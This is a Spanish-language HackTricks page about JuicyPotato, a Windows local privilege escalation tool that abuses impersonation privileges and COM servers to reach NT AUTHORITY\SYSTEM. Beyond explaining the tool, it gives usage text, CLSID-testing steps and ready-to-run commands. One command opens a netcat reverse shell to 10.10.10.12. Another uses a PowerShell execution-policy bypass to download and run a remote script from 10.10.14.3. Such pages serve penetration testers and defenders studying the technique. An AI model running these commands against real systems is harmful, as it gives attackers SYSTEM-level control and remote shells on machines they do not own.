hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

10 KiB

JuicyPotato

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

{% hint style="warning" %} JuicyPotato no funciona en Windows Server 2019 y Windows 10 a partir de la compilación 1809. Sin embargo, PrintSpoofer, RoguePotato, SharpEfsPotato se pueden utilizar para aprovechar los mismos privilegios y obtener acceso de nivel NT AUTHORITY\SYSTEM. Verificar: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (abusando de los privilegios dorados)

Una versión azucarada de RottenPotatoNG, con un poco de jugo, es decir, otra herramienta de Escalada de Privilegios Local, desde Cuentas de Servicio de Windows a NT AUTHORITY\SYSTEM

Puedes descargar juicypotato desde https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Resumen

Del Readme de juicy-potato:

RottenPotatoNG y sus variantes aprovechan la cadena de escalada de privilegios basada en el servicio BITS service teniendo el escucha MiTM en 127.0.0.1:6666 y cuando tienes privilegios SeImpersonate o SeAssignPrimaryToken. Durante una revisión de la compilación de Windows encontramos una configuración donde BITS estaba deshabilitado intencionalmente y el puerto 6666 estaba ocupado.

Decidimos armar RottenPotatoNG: Dale la bienvenida a Juicy Potato.

Para la teoría, ver Rotten Potato - Escalada de Privilegios desde Cuentas de Servicio a SYSTEM y seguir la cadena de enlaces y referencias.

Descubrimos que, además de BITS, hay varios servidores COM que podemos abusar. Solo necesitan:

  1. ser instanciables por el usuario actual, normalmente un "usuario de servicio" que tiene privilegios de suplantación
  2. implementar la interfaz IMarshal
  3. ejecutarse como un usuario elevado (SYSTEM, Administrador, ...)

Después de algunas pruebas obtuvimos y probamos una extensa lista de CLSID's interesantes en varias versiones de Windows.

Detalles Jugosos

JuicyPotato te permite:

  • Objetivo CLSID elige cualquier CLSID que desees. Aquí puedes encontrar la lista organizada por SO.
  • Puerto de Escucha COM define el puerto de escucha COM que prefieras (en lugar del 6666 codificado en duro)
  • Dirección IP de Escucha COM vincula el servidor en cualquier IP
  • Modo de creación de proceso dependiendo de los privilegios del usuario suplantado, puedes elegir entre:
  • CreateProcessWithToken (necesita SeImpersonate)
  • CreateProcessAsUser (necesita SeAssignPrimaryToken)
  • ambos
  • Proceso a lanzar lanza un ejecutable o script si la explotación tiene éxito
  • Argumento del Proceso personaliza los argumentos del proceso lanzado
  • Dirección del Servidor RPC para un enfoque sigiloso puedes autenticarte en un servidor RPC externo
  • Puerto del Servidor RPC útil si deseas autenticarte en un servidor externo y el firewall está bloqueando el puerto 135...
  • Modo de PRUEBA principalmente para propósitos de prueba, es decir, probar CLSIDs. Crea el DCOM e imprime el usuario del token. Ver aquí para pruebas

Uso

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Pensamientos finales

Del archivo README de juicy-potato:

Si el usuario tiene los privilegios SeImpersonate o SeAssignPrimaryToken, entonces eres SYSTEM.

Es casi imposible prevenir el abuso de todos estos Servidores COM. Podrías pensar en modificar los permisos de estos objetos a través de DCOMCNFG, pero buena suerte, esto va a ser un desafío.

La solución actual es proteger las cuentas y aplicaciones sensibles que se ejecutan bajo las cuentas * SERVICE. Detener DCOM ciertamente inhibiría este exploit, pero podría tener un impacto serio en el sistema operativo subyacente.

Desde: http://ohpe.it/juicy-potato/

Ejemplos

Nota: Visita esta página para obtener una lista de CLSIDs para probar.

Obtener una shell inversa con nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Iniciar un nuevo CMD (si tienes acceso RDP)

Problemas con CLSID

A menudo, el CLSID predeterminado que utiliza JuicyPotato no funciona y el exploit falla. Por lo general, se necesitan varios intentos para encontrar un CLSID que funcione. Para obtener una lista de CLSIDs para probar en un sistema operativo específico, debes visitar esta página:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Verificación de CLSIDs

Primero, necesitarás algunos ejecutables aparte de juicypotato.exe.

Descarga Join-Object.ps1 y cárgalo en tu sesión de PS, y descarga y ejecuta GetCLSID.ps1. Ese script creará una lista de posibles CLSIDs para probar.

Luego descarga test_clsid.bat (cambia la ruta a la lista de CLSID y al ejecutable de juicypotato) y ejecútalo. Comenzará a probar cada CLSID, y cuando el número de puerto cambie, significará que el CLSID funcionó.

Verifica los CLSIDs que funcionan usando el parámetro -c

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!